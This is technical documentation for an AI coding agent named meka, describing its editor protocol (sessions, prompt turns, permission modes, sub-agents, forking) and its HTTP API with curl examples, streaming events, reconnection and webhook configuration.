session/new { cwd, mcpServers }: mints a fresh persisted session, captures the cwd, takes the on-disk session lock, returns the session id and the currentSessionModestate.session/load { sessionId, cwd, mcpServers }: replays the persisted conversation as a stream ofsession/updatenotifications (user_message_chunk,agent_message_chunk,agent_thought_chunk,tool_call,tool_call_update) before the response. Orphan tool calls (the persisted log stopped mid-tool) are closed out with afailedstatus so the client’s UI doesn’t render a stuck spinner. If the client’scwddiffers from the persisted one, meka updates the persisted row to match; the client wins. A sub-agent’s id is refused withInvalidParamsbefore the session is locked or itscwdrewritten; continue that conversation withagent_followupfrom the parent instead.session/list { cwd?, cursor? }: paginated index. Filtered to the requested cwd when present; sub-agent sessions are always hidden.nextCursoris opaque; round-trip it back to keep paging.session/resume { sessionId, cwd, mcpServers }: adopts the session id without replaying. Use this when the client already has the history rendered. Same cwd-update behaviour assession/load. A sub-agent’s id is refused on the same terms assession/load.session/fork { sessionId, cwd, additionalDirectories, mcpServers }: copies the session’s conversation into a new persisted session, adopts the copy as active, and returns its id. The source is left open and untouched. See Forking.session/close { sessionId }: cancels any in-flight prompt, releases the on-disk session lock, and removes the entry from the map.session/cancel { sessionId }: interrupts the activesession/prompt. The response carriesstopReason: "cancelled". A cancel sent straight after a prompt still stops that prompt, even if it arrives before the turn has started: meka latches the signal and applies it as the turn begins. The latch is scoped to a prompt that is already on its way, so a cancel with nothing to stop is discarded rather than saved. Interrupting a turn, cancelling twice, or cancelling while idle all leave the next prompt you send to run normally.session/set_mode { sessionId, modeId }: flips the agent’sPermissioncell. Modes outside[permissions].enabledfrom the config become JSON-RPC errors. On success, meka emitssession/update: current_mode_update. The flip is atomic and applies to the next tool call within an in-flight turn; no need to wait for the turn to finish.session/set_config_option { sessionId, configId, value }: sets one of the two entries inconfigOptions. Returns the full list with its new values. See Session config options.
Idle sessions are released
A session untouched for 24 hours is dropped from the map by a sweep that runs every 5 minutes,
releasing its lock and detaching its MCP registry. Only the in-memory entry goes: session/load
reopens the conversation exactly as it does one from a previous run, so a client that keeps an id
around needs no special handling.
session/close is optional in the protocol and several editors never send one, which is what this
answers. Each open session holds an Agent, a tool registry the MCP manager keeps a clone of, and
an open file lock, none of them reachable from anywhere else meanwhile. Neither the window nor the
scan interval is configurable; both match [serve]’s
defaults for the same mechanism.
Prompt turn
A session/prompt carries a prompt array of ContentBlocks. meka accepts:
text: the baseline.resource_link: flattened into a<resource_link name="…" uri="…">description</resource_link>tag inside the prompt text so the model sees the reference; meka does not fetch the resource server-side.resource(embedded @-mention contents): a text resource is inlined as a<resource uri="…">…contents…</resource>tag; a binary (blob) resource becomes a self-closing<resource uri="…" encoding="base64"/>marker (the payload is not inlined).image: accepted only when the profile has vision on. The payload is normalized through meka’s image pipeline (size cap, format conversion) and forwarded to the model as native vision input (Claudeimage, OpenAI chatimage_url, Codexinput_image).
audio blocks (and image when vision = false) produce InvalidParams.
Images travel in the other direction too: when a tool looks at one (read_file on an image file,
render_image, fetch_url on an image URL), the picture is forwarded on that tool call as an
image content block rather than a placeholder, so the client renders what the model was shown.
While the turn runs, meka streams session/update notifications:
agent_message_chunkfor each piece of assistant text.agent_thought_chunkfor thinking blocks (Claude OAuth / extended-thinking models).tool_callwhen a tool starts, withkind,status: "in_progress", an absolutelocationsarray (relative paths resolved against the session cwd, with the start line forread_file), the raw input, and a human-readabletitle. The title is the tool’s primary argument, so editors show what’s running rather than the bare tool name: the command forexecute_command,Read <path>/Edit <path>/Write <path>for file tools,Fetch <url>,Web search: <query>, etc.tool_call_updatewhen a tool finishes, with the finalstatus(completed/failed), acontentarray, andraw_output(the structured tool result).execute_commandoutput is wrapped in a fencedconsolecode block so editors render it monospaced;edit_fileandwrite_filepopulate diff content blocks so clients can render the apply-diff UI. (Large outputs offloaded to the scratchpad show the scratchpad reference rather than the full payload.)planwhenever the agent’stodotool updates the task list, so clients with a plan panel (e.g. Zed) render the live to-do list. meka’scancelledtodo status maps tocompleted.session_info_updateonce per session, carrying the title (the first user message preview) so a freshly created or loaded tab gets a label without asession/listcall.usage_updateafter each turn, carryingused(tokens currently in context: all input tiers plus output) andsize(the model’s context window), so clients with a context gauge (e.g. Zed) show how full the window is. Emitted only once both values are known.- The
session/promptresponse additionally carriesusage: session-cumulativetotalTokens/inputTokens/outputTokens/cachedReadTokens/cachedWriteTokens. This is the running total for the session, not the gauge –usage_updateanswers “how full is the window”,usageanswers “what has this session cost”.thoughtTokensis omitted because meka doesn’t meter reasoning separately from output.
The response carries a final stopReason:
stopReason | Meaning |
|---|---|
end_turn | The agent finished cleanly. |
max_tokens | The provider stopped because the model hit its maximum output tokens. The assistant message may be truncated. |
cancelled | session/cancel interrupted the turn, including the case where the cancel caused an exception in an underlying operation. meka probes the per-session cancellation token after run_turn; any error returned while the token has fired surfaces as cancelled rather than a generic JSON-RPC error. |
refusal | The model declined to comply (Claude stop_reason: "refusal" and the OpenAI equivalent). The assistant message contains the refusal text. |
Permission modes
meka’s Permission levels map 1:1 to ACP SessionMode ids:
| Permission | Mode id | Display name | Description |
|---|---|---|---|
None | none | None | No tools available. |
Read | read | Read | File reads and searches only. No writes, no shell. |
Ask | ask | Ask | Every write or shell command requires approval. |
Workspace | workspace | Workspace | Writes confined to the workspace roots. No approval prompts. |
Unrestricted | unrestricted | Unrestricted | Writes and shell commands reach anywhere on the machine. |
The full mode picker is advertised on every session-creation response (NewSessionResponse.modes, LoadSessionResponse.modes, ResumeSessionResponse.modes) but only the modes in [permissions].enabled from your config.toml are listed; picking a disabled mode would just error.
The same picker is also advertised as a configOptions entry, so a client that reads either field
gets it; see below.
When the active mode is ask, write-gated tools trigger a session/request_permission round-trip. Clients render four options:
- Allow: run this call only.
- Always allow any
<tool>: run this call and skip the prompt for that tool for the rest of the session. - Deny: refuse this call only.
- Always deny any
<tool>: refuse this call and every subsequent call to that tool.
The sticky options name the tool because that is exactly their scope: the decision is keyed on the tool name and takes no account of arguments. The prompt’s title is <tool> <primary argument>, so for execute_command you are reading one specific command line while the sticky option covers every shell command the agent runs afterwards. If you want per-command control, use Allow and keep answering.
Sticky decisions live in meka’s process memory; they reset on session close.
A prompt left unanswered for 30 minutes is denied, and the turn carries on. This is a backstop against a client that is connected but will never reply (an editor whose UI thread has wedged, or a harness that speaks ACP without implementing prompts), not a deadline on you: session/cancel already resolves a prompt the moment you stop the turn, and without the backstop a client that does neither holds the session’s runtime mutex indefinitely, blocking session/close and session/set_mode behind it. Denying rather than allowing on expiry is deliberate: an unanswered prompt is not consent.
Session config options
Every session-creation response also carries configOptions, a list of select pickers a client
can render and change with session/set_config_option. meka advertises two, in this order:
configId | Category | Values | Meaning |
|---|---|---|---|
permission | mode | The ids in [permissions].enabled | The same picker as modes, so it sits beside the one below |
provider | model | The profile names in your config.toml | The provider profile this session runs on |
permission is deliberately advertised twice, once here and once in the legacy modes field. A
client that only understands modes keeps the picker it has; one that reads configOptions gets
permission and provider adjacent rather than in two unrelated menus. Setting it through either route
does the same thing, and neither picker is left stale: session/set_mode pushes a
current_mode_update and a config_option_update, while session/set_config_option pushes a
current_mode_update and returns the whole refreshed list in its response.
A session whose recorded profile has since left config.toml cannot be loaded at all:
session/load fails while building the runtime, so there is no entry for
session/set_config_option to change. Restore the profile in config.toml, or move the session
with meka -r <id> --provider <name> from a shell, and load it again.
Changing provider rewrites the session’s row, so it holds for every later turn and for a resume
from any surface, not just for this connection. This is the same change /provider makes in the
REPL and PATCH /v1/sessions/{id} makes over HTTP. Switching mid-conversation is allowed and is
your call: a thinking block is tagged with the provider that produced it and is not replayed to a
different one, so from the next turn the model no longer sees the reasoning recorded under the old
provider.
If a turn is in flight, the row moves immediately and the change is held until that turn finishes; the live agent takes it at the top of the next turn rather than mid-loop. Reasoning effort is deliberately not offered: which tiers a model accepts is a fact about the provider’s system, and a fixed dropdown would be meka asserting it. It stays on the profile.
Slash commands
Two kinds of slash command are advertised through session/update: available_commands_update (after session/new / session/load / session/resume, and refreshed at the top of every session/prompt so a skill installed mid-session shows up without a reconnect):
- Built-in local commands –
/status(model, effort, context usage, tokens, mode) and/mcp(configured MCP servers and their connection status). They render text back as anagent_message_chunkand end the turn immediately, with no model call. - Skills (see Skills) – each installed skill is a top-level command carrying a free-form input hint (
"additional context (optional)").
When the user picks one from the palette, the client typically inserts /<name> and lets the user type extra context. meka parses the prompt as follows:
- A built-in local command (
/status,/mcp): handled agent-side, output streamed back, turn ends with no model call. Checked first, so a skill can’t shadow a built-in (a skill namedstatus/mcpis dropped from the palette). - Plain text (no leading slash): passes through to the model unchanged.
/<skill-name>matching an installed skill: loads the skill body via the same path as the REPL’s/skillcommand and prepends any extra context the user typed.- Slash with a syntactically valid but unknown skill name (
/nonexistent): JSON-RPC error. - Slash with content that isn’t a valid skill identifier (
/etc/hosts,//comment): passes through to the model unchanged, so pasted paths and code comments don’t get intercepted.
Sub-agents
agent_spawn and skill-based delegation produce a sub-agent that runs through PermissionForwardingFrontend. The sub-agent’s own output isn’t streamed to the client (its final report flows back through the parent’s tool_call_update), but its permission prompts and fs delegates forward through the parent’s connection, so the editor’s apply-diff UI sees a sub-agent’s writes the same as the main agent’s.
ACP has no sub-agent primitive – no nested sessions, no nested tool calls – so a sub-agent is one tool call, and its progress is that call’s content. While it runs, each tool call it starts is appended to a rolling list (the last 20) and pushed as a tool_call_update on the parent’s agent_spawn call, so a long delegated task shows what it is currently doing instead of an opaque spinner. The whole list is resent on each update because clients replace a tool call’s content rather than appending to it. A nested sub-agent’s list is not forwarded further up: it already appears as a agent_spawn line in its parent’s list, and two writers on one tool call’s content would overwrite each other.
Multi-root workspaces
An editor whose workspace holds several folders (Zed’s Add Folder to Project) sends the first as cwd and the rest as additionalDirectories. Clients only send them when the agent advertises sessionCapabilities.additionalDirectories, so before meka advertised it every folder but the first was silently dropped and the agent would report files in them as missing.
What the extra roots do and don’t change:
- Search sweeps all of them.
find_filesandsearch_contentswalk every root when you don’t pass an explicitpath. The 60-second walk budget is shared across the whole call, not granted per root, so a four-folder workspace doesn’t get a four-minute ceiling. Passingpathsearches exactly that tree, as before. - A truncated
search_contentssays which roots it skipped. Roots are walked in order starting fromcwd, so a busycwdcan fill the 100-match cap before later roots are reached. When that happens the output names how many roots went unsearched, rather than leaving their absence to read as “nothing there”. Passpathto search one directly, orscratchpadto lift the cap.find_filesis unaffected: its cap bounds only what it prints, so it still counts matches across every root. - Overlapping roots are collapsed. A root nested inside another (or a repeat of
cwd) is dropped, so its tree isn’t walked twice and its files aren’t reported twice. Symlinked duplicates aren’t detected. - The model is told they exist. Each root is named in the per-turn environment context, alongside the working directory.
- Relative paths still resolve against
cwdonly. This is what the spec requires:cwd“remains the base for relative paths”. Use an absolute path to reach a file in another root. - The shell still runs in
cwd.execute_commandis unaffected. - A stale root is skipped, not fatal. A root that no longer exists is passed over so the other roots can still answer;
search_contentsreports “does not exist” only when no root existed. Root paths are escaped before they reach the glob engine, so a folder named2024*ornotes[1]matches literally instead of widening the search.
Every entry must be an absolute path; a relative one is rejected with InvalidParams.
The list is persisted and reported back on session/list as SessionInfo.additionalDirectories, which is how a client rebuilds the workspace shape when you pick a session out of its history. session/load and session/resume carry the complete resulting list, so they replace what was stored rather than merging: reopening a session from a window that no longer has the second folder correctly narrows it, and an empty list clears the roots.
Forking
session/fork branches a copy off a persisted session: the new session starts with the source’s full conversation and continues from there, while the source stays open and unchanged. It’s the protocol’s way to explore a direction, or run something like a summary, without writing into the conversation the user is looking at.
The request is a session-creation request, not a row copy: it carries its own cwd and additionalDirectories, and meka applies those to the fork rather than inheriting the source’s. mcpServers is ignored, as on session/new. The response returns the new sessionId and the current SessionMode state, and the fork is registered as active immediately, so it can be prompted without a further session/load or session/resume.
There is no replay: unlike session/load, forking emits no session/update stream for the copied history, since a client that just forked already has the transcript rendered.
Sub-agent child transcripts are not copied, and a fork of an ordinary session records no link back
to its source. session/fork answers InvalidParams for a sub-agent’s own id: the copy would be a
sibling under the same parent, so there is no session to hand back. See Forking a Session for the full semantics.
This method is marked unstable in the protocol: it is not part of the spec yet and may change or be removed. Zed does not currently call it.
Known limitations
- Tool-call diff metadata isn’t persisted. A session reopened with
session/loadreplaystool_call_updates as plain text rather than diffs. The on-disk content is unaffected. terminal/*is never used: meka owns every process it spawns, so no command runs in the client’s terminal. Output streams into the tool call instead, as an agent-owned terminal where the client advertises_meta.terminal_outputand aconsoleblock otherwise. See Shell commands stay inside meka.- Image and regex
read_file: stay local. Thefs/read_text_filerequest carries only text, so there’s no protocol surface to delegate either case. audioprompts: not supported;audiocontent blocks produceInvalidParams.- No client-side model gate for images: when
visionis on, meka forwards images to whatever model the profile names; a non-vision model returns a provider error rather than meka rejecting up front. Setvision = falsefor text-only endpoints.
HTTP API
meka serve exposes meka as an HTTP API server so other programs can drive agent turns programmatically. Where Interactive Mode is for humans at a terminal and ACP is for editor integrations over stdio, the HTTP API is for service-to-service use cases:
- A Telegram or Discord bridge that connects a chat bot to an agent.
- A web or mobile UI that streams assistant responses in real time.
- A script or orchestrator that embeds meka as a sub-agent backend.
- Any cross-language client that speaks HTTP+JSON.
All three entry points (meka, meka acp, meka serve) drive the same agent core: same tools, same providers, same session persistence. The HTTP API is a transport layer on top.
Starting the server
meka serve
The server reads the [serve] section from your config.toml (see Configuration below). At minimum you need a bind address and at least one bearer token:
[serve]
bind = "127.0.0.1:8080"
[[serve.tokens]]
token = "${MEKA_API_TOKEN}"
scopes = ["sessions:r", "sessions:w"]
On startup the server logs the bind address and begins accepting requests. All endpoints (except health probes and OpenAPI docs) require a valid Authorization: Bearer <token> header.
Two flags are refused rather than ignored: -c and -r. Both name one run’s session, and the server creates one per POST /v1/sessions, each naming its own provider profile. Pass provider on the create request instead. --provider is accepted, since it selects which configured profile a session gets when it names none, which is a property of the server rather than of one session.
TLS:
meka servespeaks plain HTTP. For production, front it with a TLS-terminating reverse proxy (nginx, Caddy, Cloudflare Tunnel).
Quick example
Blocking turn (simplest)
# Create a session
curl -s -X POST http://localhost:8080/v1/sessions \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"cwd": "/home/user/project"}' | jq .id
# → "550e8400-e29b-41d4-a716-446655440000"
# Submit a turn
curl -s -X POST http://localhost:8080/v1/sessions/550e8400-e29b-41d4-a716-446655440000/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"message": "list the files in src/"}' | jq .final_text
# → "Here are the files in src/: ..."
Streaming turn
curl -N -X POST http://localhost:8080/v1/sessions/$SESSION_ID/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d '{"message": "explain this codebase", "stream": true}'
The response is a text/event-stream (SSE) that emits typed events as the agent works:
retry: 3000
event: turn.started
id: 0
data: {"turn_id":"...","session_id":"...","started_at":"2026-05-26T13:45:12Z"}
event: assistant_text.delta
id: 1
data: {"text":"This project is "}
event: assistant_text.delta
id: 2
data: {"text":"a Rust workspace that..."}
event: tool_call.composing
id: 3
data: {"id":"tu_1","name":"read_file"}
event: tool_call.executing
id: 4
data: {"id":"tu_1","name":"read_file","input":{"path":"src/main.rs"},"display_summary":"src/main.rs"}
event: tool_call.completed
id: 5
data: {"id":"tu_1","is_error":false,"content":[{"type":"text","text":"fn main() { ... }"}]}
event: turn.finished
id: 12
data: {"turn_id":"...","session_id":"...","stop_reason":"end_turn","usage":{"input_tokens":12340,"output_tokens":567,...}}
Core concepts
Sessions
A session is a persistent conversation with its own working directory, permission level, and message history. Sessions are stored in the same SQLite database as REPL and ACP sessions; they’re interchangeable.
POST /v1/sessions Create a session
GET /v1/sessions List sessions (paginated)
GET /v1/sessions/{id} Get session details
PATCH /v1/sessions/{id} Update permission, cwd or provider
DELETE /v1/sessions/{id} Close and clean up
POST /v1/sessions/{id}/fork Branch a copy off a session
When creating a session, specify the working directory and optionally a permission level, a provider profile, and capabilities:
{
"cwd": "/home/user/project",
"permission": "workspace",
"provider": "work",
"capabilities": {
"supports_reasoning_stream": false,
"supports_permission_prompts": true
}
}
provider names a profile in the server’s config.toml; GET /v1/providers lists them, and a name
that is not configured is a 422. Omitted, it is the server’s own default profile. The session keeps
it for the rest of its life and every session response echoes it back as provider, so a client can
confirm which account a session bills.
To move a live session onto another profile, PATCH /v1/sessions/{id} with {"provider": "other"}.
That rewrites the session’s row, so it holds for a resume from any surface rather than for this
request. Switching mid-conversation is allowed and is your call: a thinking block is tagged with the
provider that produced it and is not replayed to a different one, so from the next turn the model no
longer sees the reasoning recorded under the old provider. Like the other PATCH fields, it is a
409 when a turn is already in flight; cancel first. (One admitted between the check and the agent
swap makes the swap wait for that turn rather than fail, so the request can take as long as the turn
does. The row has already moved by then, and the agent follows when the turn ends.)
A PATCH naming a provider moves the session to that profile, and the profile is the whole story:
the model, the endpoint and every model-tied setting come from it, so there is nothing else on the
row to reconcile.
If you run more than one meka on the same store, send the PATCH to whichever process has the
session. A body naming only a provider is the one PATCH that works on a session this server has
not loaded, and it takes the session lock to do it, so a session another process is running answers
409 session-locked rather than moving a row that process would go on ignoring. Only the host
holding a session may change what it runs on.
A body naming only provider is also the rescue for a session whose profile has left
config.toml: it moves the row without building an agent, so it works on a session that cannot
currently run. Adding permission or cwd to the same body loses that, because those need a loaded
session and loading one is exactly what fails; send the provider on its own first.
The cwd field is validated on create and patch:
- Must be an absolute path (no relative paths).
- Must exist on the server’s filesystem.
- Must be a directory (not a file, device, or socket).
- Must not contain null bytes (which cause kernel/userspace path mismatch).
If cwd is omitted, it defaults to the server process’s current working directory.
Sessions persist server-side until explicitly deleted or evicted by the idle timeout GC (see Session lifecycle).
Capabilities
| Capability | Default | Meaning |
|---|---|---|
supports_reasoning_stream | false | Include thinking.delta events in the SSE stream |
supports_permission_prompts | true | The client can answer a mid-turn permission_required event |
Enabling supports_reasoning_stream costs a streaming turn its retry on a transient provider failure: the deltas have already reached you and a second attempt would repeat them, and reasoning is the first thing a turn produces. Blocking turns on the same session are unaffected, since they carry whole blocks rather than deltas.
Set supports_permission_prompts: false if you stream but have no interface to show an approval
prompt on, which is the normal case for a service-to-service client streaming for liveness. Gated
tools are then denied immediately with an explanatory notice, the same as blocking mode. Leaving it
true means every gated call parks for 60 seconds and then denies anyway, which is hard to tell
apart from a hang. Better still, create the session with permission: "workspace" so nothing is gated.
Forking a session
POST /v1/sessions/{id}/fork copies a session’s conversation into a new session and returns it with
201 and the usual session body. The copy starts with the source’s full history and is immediately
usable; the source is left untouched, and does not have to be in memory, so a GC-evicted session
forks as well as a live one.
The body is optional and inherits everything by default. The only field is cwd, matching ACP’s
session/fork, which likewise carries a workspace but no permission or capability fields:
{ "cwd": "/home/user/other-project" }
Permission, capabilities and the provider profile are inherited and remain changeable afterwards via
PATCH /v1/sessions/{id}. Sub-agent child transcripts are not copied, and a fork of an ordinary
session records no link back to its source.
A sub-agent’s own id is refused with 422: the copy would keep that worker’s parent and spawn terms,
so it is a sibling under the same parent rather than a session this endpoint could hand back. See
Forking a Session for the full semantics.
Sub-agent sessions cannot be driven through this API
GET /v1/sessions?include_children=true lists the sessions an agent_spawn created. Those ids are
readable through every endpoint on this page – /messages, /context, /export – and
drivable through none of them: POST /v1/sessions/{id}/turn answers 422 with
/errors/session-not-drivable, as do /compact, /responses/{request_id}, /fork, /schedule,
and PATCH /v1/sessions/{id}. A worker
runs under the tools, permission ceiling and provider profile its spawn call set, which live in its
spawn record and which only its parent can reconstruct, so the conversation is continued with the
agent_followup tool from the parent rather than over HTTP.
Two exceptions, both of which change a transcript without running anything on it. Teardown stays
open: DELETE /v1/sessions/{id} discards a worker and DELETE /v1/sessions/{id}/tasks/{task_id}
stops one of its background tasks, and the parent’s own agent_delete does the same thing. So does
POST /v1/sessions/{id}/rewind, which truncates the event log the same caller can already read in
full through /export, and which meka session rewind has always allowed on a worker. The line is
whether the model runs: /compact is refused because compaction is a turn.
Importing an archive
POST /v1/sessions/import recreates a session tree from a meka session export archive under fresh
ids, on the same terms as the CLI’s meka session import. An archive naming no provider profile
takes the server’s default, the same one POST /v1/sessions applies to a body with no provider; a
long-lived host always has one, since it refuses to start without it.
One limit is the server’s alone: an archive holding more than 1000 sessions is refused with a
422 whose detail names the count and the cap, and points at meka session import. The whole tree
is written in one transaction on the process’s single database connection, so a larger one would
hold every other in-flight request behind it. A one-shot meka session import restoring its own
backup has nothing to contend with and so carries no cap; it is the way to restore a tree this
large.
Everything else about the archive is honoured as the CLI honours it; see Exporting a Session.
Detecting an in-flight turn
Session responses carry turn_in_flight, a boolean saying whether a turn is running right now. It
exists so a client whose SSE stream dropped can tell “my turn is still running” from “my turn died”
without submitting a speculative turn and reading the 409. A dropped stream does not cancel the
turn; the work continues server-side and resubmitting would duplicate a reply the user is about to
receive. Poll GET /v1/sessions/{id} and wait for it to go false rather than retrying blind.
The same holds for a blocking turn whose client gives up: a request timeout on your side does
not stop the turn. It runs to completion, persists its messages, and fires its webhook; you just
never see the response body. Read the reply from GET /v1/sessions/{id}/messages. This is why a
client timeout shorter than your longest turn is safe, and why retrying on one duplicates work
rather than recovering it.
Turns
A turn is one round-trip: you send a user message, the agent processes it (potentially calling tools in a loop), and returns a result. Turns are ephemeral: they’re not stored as their own resource, but the messages they produce are persisted in the session’s conversation history.
POST /v1/sessions/{id}/turn Submit a turn
POST /v1/sessions/{id}/cancel Cancel an in-flight turn
One turn at a time per session. A second POST /turn while another is running returns 409 Conflict. Across sessions, turns run fully concurrently.
The turn request body accepts four fields:
| Field | Type | Default | Description |
|---|---|---|---|
message | string | (required) | The user message. May be empty when images is non-empty |
images | array | [] | Image attachments; see Image attachments |
stream | bool | false | false → single JSON response; true → SSE stream |
options.skill | string | null | null | When set, activates the named skill for this turn (equivalent to /skill <name> in the REPL) |
Image attachments
Each entry in images is {"media_type": "...", "data": "<base64>"}. Images are inlined rather
than referenced by path because the API is a network surface: a client on another host shares no
filesystem with the agent, so it can’t name a file for the agent to read.
curl -s -X POST http://localhost:8080/v1/sessions/$SESSION_ID/turn \
-H "Authorization: Bearer $TOKEN" \
-H "Content-Type: application/json" \
-d "{\"message\": \"what does this diagram show?\",
\"images\": [{\"media_type\": \"image/png\", \"data\": \"$(base64 -w0 diagram.png)\"}]}"
- Requires vision. Attaching an image to a session whose profile has
vision = falsereturns422. The check is per session, from the profile that session recorded, so a session created withprovideror moved by aPATCHfollows that profile rather than the server default.visiononGET /v1/inforeports the default profile’s flag, which answers for a session created without naming one. media_typeis a hint. If it doesn’t name a supported format, the payload’s magic bytes are used instead, soapplication/octet-streamstill works for a real image.- Formats. PNG, JPEG, GIF, WebP, and BMP pass through; TIFF, ICO, HDR, EXR, TGA, PNM, QOI, DDS,
and Farbfeld are converted to PNG. Anything else is a
422. - Size. Each image is capped at 3.75 MB decoded (~5 MB of base64). Note this interacts with
max_body_bytes: the 10 MiB default comfortably fits one image, but a multi-image turn may need it raised. - Errors name the offender. A bad attachment returns
422with a detail like`images[1]` is invalid: unsupported image format.
Detecting a rewritten history
GET /messages returns the materialised view: what the model can currently see. Three things rewrite it rather than appending to it – compaction, POST /rewind, and a mid-turn repair of a malformed request – and after any of them your copy is no longer a prefix of the server’s.
Two signals cover this:
revisionon the response increments on every rewrite. If it changed since your last poll, re-fetch rather than diff. This is the one to key on, because it covers all three causes.compactionon a message identifies a summary and says how many messages it replaced and which compaction it was. Only compaction leaves a message behind to carry it; a rewind removes messages with nothing in their place, which is whyrevisionexists.
total alone is not enough: a shrinking total is indistinguishable from the server losing your conversation.
Note that neither GET /context nor GET /v1/sessions/{id}/tools will load an evicted session. Reading is not permitted to take the session’s cross-process lock, which a write would hold for idle_timeout. /context answers from the database with the live counters omitted; /tools returns 409, since a catalogue needs a loaded session.
Messages
Read the conversation history for a session:
GET /v1/sessions/{id}/messages?offset=0&limit=50
Returns the full message list with role, content blocks, timestamps, and turn correlation IDs.
Blocking response
With stream: false (the default), the server holds the connection until the turn completes, then returns a single JSON response:
{
"turn_id": "t_01J...",
"session_id": "s_01J...",
"stop_reason": "end_turn",
"final_text": "Here are the files in src/: ...",
"messages": [
{
"role": "assistant",
"content": [{"type": "text", "text": "..."}]
}
],
"tool_calls": [
{
"id": "tu_1",
"name": "read_file",
"input": {"path": "src/main.rs"},
"display_summary": "src/main.rs",
"is_error": false,
"content": [{"type": "text", "text": "..."}]
}
],
"usage": {
"input_tokens": 12340,
"output_tokens": 567,
"cache_creation_input_tokens": 0,
"cache_read_input_tokens": 8000
},
"notices": []
}
Key fields:
final_text: concatenated assistant text. This is what most bots display to the user.messages: structured message array for clients that want richer rendering.tool_calls: every tool the agent called during the turn, with inputs and outputs.stop_reason:end_turn,max_tokens, orrefusal.notices: provider advisories and auto-deny warnings.refusal_text: present only whenstop_reasonis"refusal".
Streaming response
With stream: true, the response is a text/event-stream. Every event has a monotonic id, a named event type, and a JSON data payload.
Event types
Lifecycle
| Event | Payload | When |
|---|---|---|
turn.started | turn_id, session_id, started_at | Turn begins |
turn.finished | stop_reason, usage, optional refusal_text | Turn completed successfully |
turn.failed | error (Problem Detail shape) | Turn failed mid-stream |
turn.cancelled | reason ("client" or "server_shutdown") | Turn was cancelled |
turn.finished, turn.failed, and turn.cancelled are terminal; the connection closes immediately after.
Content deltas
| Event | Payload | When |
|---|---|---|
assistant_text.delta | text | Each chunk of assistant text |
thinking.delta | text | A chunk of extended thinking content (only when supports_reasoning_stream: true) |
Reasoning streams in chunks, one event per chunk, the way assistant_text.delta does; concatenate them to reassemble the block. A turn the provider answered without streaming sends the block as a single delta, so a client never has to tell the two apart. The blocking response (stream: false) still reports each block whole, in thinking.
Tool execution
| Event | Payload | When |
|---|---|---|
tool_call.composing | id, name | The model started writing the call’s arguments |
tool_call.executing | id, name, input, display_summary | Tool call starts |
tool_call.completed | id, is_error, content | Tool call finishes |
The arguments are written between tool_call.composing and tool_call.executing on the same id, which makes that interval the only thing on the stream that separates the agent writing a message from the agent doing anything else. Assistant text is usually narration around a call rather than the reply itself, and by tool_call.executing the arguments are already finished. A client drawing a typing indicator for a tool like an MCP send_message raises it on the first and drops it on the second. The payload is the id and the name because nothing else has streamed yet: which conversation a message is for is not known until tool_call.executing.
Three limits. The event exists only when meka streams from its provider, so a server started with --no-stream receives each call whole and emits tool_call.executing with nothing before it. The pairing is not guaranteed, because a turn that fails or is cancelled mid-call emits tool_call.composing with nothing after it, so close per-id state on the terminal event as well. And the interval is only wide on backends that stream a call as it is written (anthropic-messages, claude-subscription, openai-responses, chatgpt-subscription); openai-chat-completions resolves each call’s name and arguments together when the stream ends, so there the two events arrive back to back.
Notices and pauses
| Event | Payload | When |
|---|---|---|
notice | level, text | Provider advisories or warnings |
permission_required | request_id, tool_name, expires_in_seconds | Permission approval needed (Ask mode) |
Context
| Event | Payload | When |
|---|---|---|
context.compacted | source, replaced_count, generation | The conversation was summarised and the window replaced |
context.compacted is the one event on this stream that is not additive. Everything else appends, so a client that misses one still holds a prefix of the truth; a compaction removes messages the client has already rendered. source is checkpoint, checkpoint_text, or summarizer (they differ in fidelity, not just mechanism), replaced_count is how many messages the boundary removed from the view (the whole pre-compaction window, including the tail compaction re-appends verbatim), and generation counts compactions from 1.
The same information appears on GET /messages: the summary message carries a compaction object with replaced_count and generation, and every other message omits the field. Without it a polling client sees total shrink with no explanation, which is indistinguishable from the server losing the conversation.
Heartbeats
A : keep-alive comment is sent every 20 seconds. SSE clients ignore these automatically. The stream also sends retry: 3000 as its first line, hinting clients to reconnect after 3 seconds on disconnect.
SSE lag
The server buffers up to 256 events per SSE stream. If a consumer reads too slowly and falls behind, the server closes that consumer’s stream, and what it sends first depends on whether anyone else was still reading:
- Nobody else was reading. The turn is cancelled to stop burning provider tokens, and the stream ends with a terminal
turn.failedcarrying error typehttps://meka.so/errors/sse-lag. Retry by submitting a new turn. - Another consumer was keeping up. The turn keeps running for them, so nothing has failed. The lagging stream ends with a
noticeexplaining the drop and closes. Re-attach withLast-Event-IDrather than retrying: the turn is still in flight, so a new turn would be refused with409 turn-in-flight, and re-attaching recovers the dropped events instead of redoing the work.
Turn events are broadcast, so a re-attached client or a second consumer counts as a separate reader. Use GET /messages to inspect what the agent completed either way.
Reconnection
GET /v1/sessions/{id}/stream rejoins the current turn. Send the last id you received as a Last-Event-ID header (browser EventSource does this automatically) or as a ?last_event_id= query parameter, and the server replays what you missed before following the live stream.
curl -N -H "Authorization: Bearer $TOKEN" \
-H "Last-Event-ID: 42" \
"http://localhost:8080/v1/sessions/$SESSION/stream"
The stream opens with a turn.started carrying "resumed": true and the turn_id you actually rejoined, which is the only way to tell “my stream resumed” from “a newer turn started while I was away”. That opening event is synthesised by the reconnect rather than replayed, so unlike the original it carries no started_at and no id: – a resumed stream must not move your stored resume position backwards before the replay has run. Every event after it is the real thing, ids included. The stream always terminates: if the turn has already finished, the buffered tail and its terminal event are delivered and the connection closes.
Three limits, all deliberate:
- The replay buffer is bounded by
[serve] stream_replay_events(default 256). If yourLast-Event-IDis older than the oldest retained event, you get anoticesaying the replay has a hole rather than a transcript that silently skips. ReadGET /messagesto fill it. - Only the most recent turn is retained. Reconnecting after a newer turn started gives you that turn.
- A disconnected turn is not cancelled immediately. It keeps running for
[serve] stream_reattach_grace(default 30s) waiting for you to come back; after that the agent loop stops, since nobody is listening. Set"0s"to restore the older behaviour where a dropped stream cancels the turn at once, which spends fewer provider tokens on abandoned work.
Webhooks
meka serve can POST to configured endpoints when something happens that no client is necessarily waiting on: a scheduled job firing overnight, a background task finishing long after the turn that started it.
[[serve.webhooks]]
url = "https://bridge.example/meka-hook"
secret = "${MEKA_WEBHOOK_SECRET}" # or secret_file = "/etc/meka/hook.secret"
events = ["turn.finished", "turn.failed", "task.finished", "schedule.fired"]
timeout = "10s" # per attempt, default 10s
max_retries = 3 # after the first attempt, default 3
